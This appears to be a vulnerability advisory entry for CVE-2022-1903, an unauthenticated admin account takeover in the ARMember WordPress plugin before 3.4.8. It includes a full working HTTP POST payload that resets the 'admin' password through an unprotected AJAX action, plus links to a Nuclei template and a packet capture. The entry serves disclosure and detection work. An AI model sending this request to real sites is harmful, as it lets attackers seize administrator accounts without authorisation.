| Title | ARMember < 3.4.8 - Unauthenticated Admin Account Takeover |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | An attacker can gain unauthorized access to the admin account, potentially leading to further compromise of the system. |
| Remediation | Fixed in version 3.4.8 |
| CVSS Score | 8.1 |
| EPSS Score | 0.82646 |
| CVE ID | CVE-2022-1903 |
| CWE ID | CWE-862 |
| Tags | cve cve2022 account-takeover wpscan wordpress wp-plugin wp armember-membership unauthenticated armemberplugin vkev vuln |
The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 173
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=arm_shortcode_form_ajax_action&user_pass=38F5oYgUQD4MQJbRyX1FcWaXiUH&repeat_pass=38F5oYgUQD4MQJbRyX1FcWaXiUH&arm_action=change-password&key2=x&action2=rp&login2=admin
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1903.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1903.pcap
N/AN/A